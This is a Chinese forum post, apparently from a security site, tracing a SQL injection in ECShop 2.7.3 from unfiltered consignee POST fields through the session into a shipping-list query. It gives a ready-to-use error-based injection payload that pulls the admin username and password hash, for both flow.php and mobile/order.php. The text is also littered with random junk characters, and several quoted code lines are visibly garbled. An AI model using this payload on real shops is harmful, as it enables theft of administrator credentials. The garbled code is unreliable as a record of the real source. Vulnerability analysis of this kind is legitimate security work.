前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ t) P) O+ x0 f6 Z* @* |8 _3 g0 G
7 b) \2 A" K p
漏洞关键文件:4 F2 T) S' Q7 Z& e# @ N( X
" V5 n% \" B# E2 A /includes/lib_order.php
- a3 k* \. S) }2 }1 g7 ~
; }) [7 Q& c) j, R% D0 P8 @ 关键函数:8 Q- W: ~& R" a l8 D+ E
$ Z0 C8 z9 b, `6 x1 c* ?) K
$ v0 }! g6 h' b9 Y# m
* \7 D* r3 Y0 y2 q; B$ i01 function available_shipping_list($region_id_list) . }' [0 S5 l/ P7 N
0 U+ g! T: d& y( Z# \
02 { - K$ ?8 J- s1 f: S
7 d8 ]( g0 w8 Z; s
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. `( [7 Q+ t* d* t
. f# K" v1 u. S5 x/ J* ?04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
/ c: f7 g" g& N+ {0 K- z: n+ J6 K' d0 @3 ?
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% G% C' S' f$ G$ L+ T! c8 Y) t9 u8 g! }3 ~6 _0 [
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ) I2 V* P# x, ]
9 \# J4 \4 l2 A! K* D b07 $GLOBALS['ecs']->table('area_region') . ' AS r '. , E) ]/ i/ q! w
! X8 ~% Y( ^3 p* P5 T9 N08 'WHERE r.region_id ' . db_create_in($region_id_list) .
! f5 z1 \& g& i. ]8 v! h: B& F
) m! }( R; v' d( J0 f- y09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , _" ]3 N" I, S6 I
) {+ j+ t+ d M
10 6 K' K. ^! f/ U1 H. M/ C
! l2 g# c2 V6 L: a( x11 return $GLOBALS['db']->getAll($sql); ( d2 z8 @0 h7 H5 K! t7 p+ }
+ h9 X- }$ o- j' W7 c12 } 1 p5 \" l# A: s# {$ U
, J2 [" k. a+ k! _8 h' U- O- j显然对传入的参数没有任何过滤就带入了查询语句。
; G1 P/ X# ^5 ]: e
7 ~; d3 r6 T+ R下面我们追踪这个函数在flow.php中:
5 L$ p9 d# t9 c/ c, f( K 第531行: , b, g) e; O' y1 ?0 J
. b0 a" d' A! Y1 w
1 $shipping_list = available_shipping_list($region);
) a- u1 R; P& ]/ f2 D+ n. N T, c
, a7 [. m# i# c+ {# O6 Q7 L1 @% A* ~ & R+ g" M8 L- F. I( k; ?; c0 F
* j3 d) }! b4 W2 |' g
8 }) N' i: T7 P: r
) p- V8 S, x u- L8 d
再对传入变量进行追踪:
. l3 R/ D& q7 ?' C. B$ g p- F9 q' R
第530行: & }# {' B/ O8 _3 p* A8 d
B7 B3 u) Z, d" p1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ b6 e" x7 h; |4 S/ U* |% }! S- v" X) C8 Y8 D/ o1 z/ \" s
; w! R6 d, s' f( n( b
4 Q0 f9 C' d; p7 J
% M9 d) N1 K* u- U4 W2 A
0 n/ A5 v, |4 g第473行: * Y& V. h& x4 `/ z/ @7 E
5 L9 r" [8 z" F* y4 u/ E) L
1 $consignee = get_consignee($_SESSION['user_id']);
' e5 h r" I; U5 M4 j. ^; X2 R; l& x; w9 I6 d1 a
到了一个关键函数:) ]: Q! X6 @9 q7 J. Q; ^+ U, z$ x
1 y& E8 u* j, v& m- y
/includes/lib_order.php8 K% R# S( N: D7 O
$ j- x9 q N) a8 {/ Q2 i
& B' Y, p' x; ^# M r5 X
5 _; T+ s' z$ F; v7 o! _: O: W1 k6 _
1 {$ x5 O+ z% }; H+ p8 k: z9 E9 W
3 D: g: N. V4 U# p+ }3 L* R01 function get_consignee($user_id) $ `; m+ a; H1 L
( v$ [, u7 e. j+ [$ b( }02 { ' T2 g# ?2 |8 u9 _- F) r5 s
: A/ S$ F' O2 w
03 if (isset($_SESSION['flow_consignee'])) ! C, r K/ ~) L0 K! P5 ?
! m1 J: P! K+ a/ y) B04 {
7 s1 M3 B0 f8 v0 ?7 ~) V% G6 p
7 E" L, \& K9 `% t& h$ _# N. ]05 /* 如果存在session,则直接返回session中的收货人信息 */ 6 M0 j1 W; y1 E( a t9 J' n
6 x' A% l/ e5 P2 ?& m& b' D06 0 S* ?' m/ v) o! O$ b
' ?7 W9 K% _6 s% Z1 j, g0 O: a07 return $_SESSION['flow_consignee'];
; K0 H* N4 l& @" O4 w/ F2 d
$ ?' [! J+ [, s3 Y; } O08 }
! U6 X( O# o3 H; e9 Q* o/ U
: m* r" n4 [* K$ X0 a09 else
G/ _; { X+ G0 S2 ]8 K
1 B6 a( r; {4 x5 {4 F3 ^9 O5 e10 {
$ f8 w [" {8 ]- w/ Y% v' x! c1 N5 h; X: u$ ~# v6 F
11 /* 如果不存在,则取得用户的默认收货人信息 */
) u N$ O: N- T$ h5 Y
' |# H! o5 u3 X/ m& ~& Y12 $arr = array();
4 ^9 p! `+ n) J u9 h- q% E) ^+ ?, K; \* u6 ?
13 / c$ Q" r) `; z- M5 }- ^
+ z3 o2 o6 a7 Y- P9 W: C
14 if ($user_id > 0) + \$ V$ A% G9 k$ a ?% \
; `0 ^' N6 r+ K! P
15 { ( C! L# s& K" I
5 s J% p/ b% k6 U1 Y16 /* 取默认地址 */
6 @0 }! u, w2 k7 W6 `9 @+ T! |' o$ U0 u3 G* m/ {
17 $sql = "SELECT ua.*".
/ F. I1 T+ q$ H( B& ~! r: L0 L0 s/ _. P% _0 Y& z( r' N: u
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
6 t. H; S# C) U2 v" y1 Q* r2 \8 ~/ l, c; y& U$ @; t1 t
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; " B s, S: D' U6 }: @: t" D
9 {9 C5 J( O* e% c8 ?$ d2 w4 m
20
6 D" s, j% e) k- @, N- e" J+ y- g3 T i+ {! {3 F
21 $arr = $GLOBALS['db']->getRow($sql);
1 d7 m, F b; T0 }7 T, U5 q& y& E" \* W1 Q9 j+ ~
22 }
' S6 @5 s$ J8 g! ]: ? E
) V* U) o9 w5 [2 Q% x23 - `" V' j$ @. S" d9 \% [
, X. B' d3 U9 H1 P/ d6 k
24 return $arr; : E6 d2 Y: Q( v9 |
* [7 J; R& k4 ~% ]% K- }1 B% N
25 } # J9 [8 a7 T" @9 J3 E) X, S2 P
- M" v4 z! Z8 R3 ^26 }
4 ~/ }: K( F# K; m: z/ }" g8 s5 t) q/ E+ H3 `
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
8 n! T6 A! W# x9 B/ ^, F5 {4 F. G6 b" n$ ]9 U; I
5 S" l* x, O9 N) t5 Z" x* v! ^) S1 ^ ?8 q$ ]) Z
关键点:. M8 ^0 ^' t5 I' P0 O
! K% n' Y$ q5 \5 I- o U9 x
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
1 f1 ?3 Q/ f6 I& D
0 m" |8 m3 g0 p) L5 l0 Q; v" V, ^这里对传入参数反转义存入$_SESSION中。
1 \6 w5 P- s8 Q( J: _7 d3 V K% C, A5 ~6 I- o
2 T) ~3 E. C# n9 |% }3 y- Q8 F- `9 ~# A- L' j! U) |8 K
然后看下:
0 j, V) Q! N* u/ R3 F
% s, H8 }6 R# D n4 p5 C" V
' |7 ? j* x- |& ^! q! x, b' }
4 `6 J2 ~" o' g2 y b* D/ c
' q9 m& E- K2 N7 y% t/ s0 A( I, T+ f- W* ?: r2 ~
01 $consignee = array(
' }5 `# I5 M) i# d
- \ \9 R" i& M& A. l02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
& ]9 Q, l( y& L/ W: ^3 z1 Q
4 z# L+ W* [& W3 c* q03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
8 ^9 r. m2 ^' ^- c w9 j& C1 N" I; Y ]" [$ v/ v
04 'country' => empty($_POST['country']) ? '' _POST['country'],
m2 ?9 r+ q6 Q4 }4 b7 v0 I# S7 H4 d" o1 i$ }2 b
05 'province' => empty($_POST['province']) ? '' _POST['province'], ' {* d/ K+ Q+ [" J
& o3 N: v% r' t# d
06 'city' => empty($_POST['city']) ? '' _POST['city'],
7 W2 t( Y+ j+ W) L! ?
p# L1 @8 ?) ~7 Q07 'district' => empty($_POST['district']) ? '' _POST['district'],
+ w" q) I1 I0 `$ `4 q
$ _! d& H ^5 s; v2 O08 'email' => empty($_POST['email']) ? '' _POST['email'],
* P5 \0 C1 E+ x3 i, D6 k$ ?( p+ d- U, n- ^% B
09 'address' => empty($_POST['address']) ? '' _POST['address'],
2 \9 _: g2 `& r, E
/ d, ]8 g8 `) o" n' q. w" t10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
4 E! d* W0 z( A* O; N
5 d8 g7 W% k8 [: _+ p11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
1 q: e: [$ `8 P- U1 [2 I; j5 `0 ]* H$ V# O0 k, s! B
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
5 B) Z) y7 w, D( D9 Y0 b/ Y+ d
8 g) r! i( C6 x9 p5 P% ]13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) Z: z# M& a# c* g2 ]' q& x% f
2 g1 ?6 x0 H) g; ^9 i9 x$ T14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], , V) W* E# l# r
5 R# A9 r% `; F, O. j15 ); ( h6 W$ P- F0 g0 C* @. |6 x3 U
/ D6 [8 N) t2 t6 V/ g/ ^好了注入就这样出现了。
/ _7 J+ d6 D0 r* g# m5 d$ X
4 \0 ~* S- z4 G* _==================7 [3 O4 {9 A0 e/ j* \
1 x: \8 S. B/ G% M, [% J- {注入测试:0 n: m; C$ e) c( _% q
. V3 W. d& x& c& v; m o1 R; Z
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16) Q4 P9 r4 h: u/ m2 u' q
6 F5 S1 z) A/ `6 w6 i7 W
测试程序:ECShop_V2.7.3_UTF8_release1106
3 Y. C4 @: A* u1 y$ O: ^+ ]7 o! y0 ~& j1 v" _
- z x' B* t0 ? n
9 {' E" A3 w) V p2 R2 W
1.首先需要点击一个商品加入购物车
- S m, D+ W5 [- y+ P! o/ p
" u3 F K. Q+ `/ \2.注册一个会员帐号
Z2 ~& J* E( }1 W6 m `/ \# \9 p, N% L4 P+ }
3.post提交数据
" ]) b# J3 I: L$ D. s( W; i. G7 R2 }, ~7 Q" a5 Z$ g: F2 B
; l8 r! D9 t/ Z* @
; S- L/ @' l7 t1 http://127.0.0.1/ecshop/flow.php
- v0 v2 `# V# M9 p4 X3 m/ f
3 n7 i& _0 |$ y. g. c7 q2 : ]& L, t4 p u$ B) f3 Y' ~
O; h0 J0 @3 r, X3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 8 Z+ c9 z" L0 C! J# M
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
# K3 H" i7 Y7 ]
& K6 c8 u0 N3 [我们搜寻关键函数function available_shipping_list(); I% y* n0 \% r
l$ c7 x7 u, e8 }9 h* M在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
' P0 y- ^. v$ U% H
; l; u2 D5 q6 r* x8 }( T( {利用exp:4 w# d# `' k- Y% ~2 V' }
2 b# e' M: [! U( ~0 d* W1.点击一个商品,点击购买商标
7 R9 |3 [7 t( L! W8 B0 y
. H4 C/ K# T) x. `# }2.登录会员帐号& L5 S- O3 f8 Y% o3 G
% [* H3 e D7 q; f- b3.post提交:
- Y! M6 x/ }; P3 t8 R: I) O6 g" q4 E2 G! x
http://127.0.0.1/ecshop/mobile/order.php
5 z" W7 Q+ j- D$ ^( K
6 Z+ V/ R9 M% w( l8 a
- J% X% j0 g O9 G' {5 f' m* v! l k9 K. j; J; l0 h3 Y
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=, u6 n5 f5 t6 M' }8 q$ z$ k
. H' ?4 ]# D: z* q1 o8 z6 f3 L |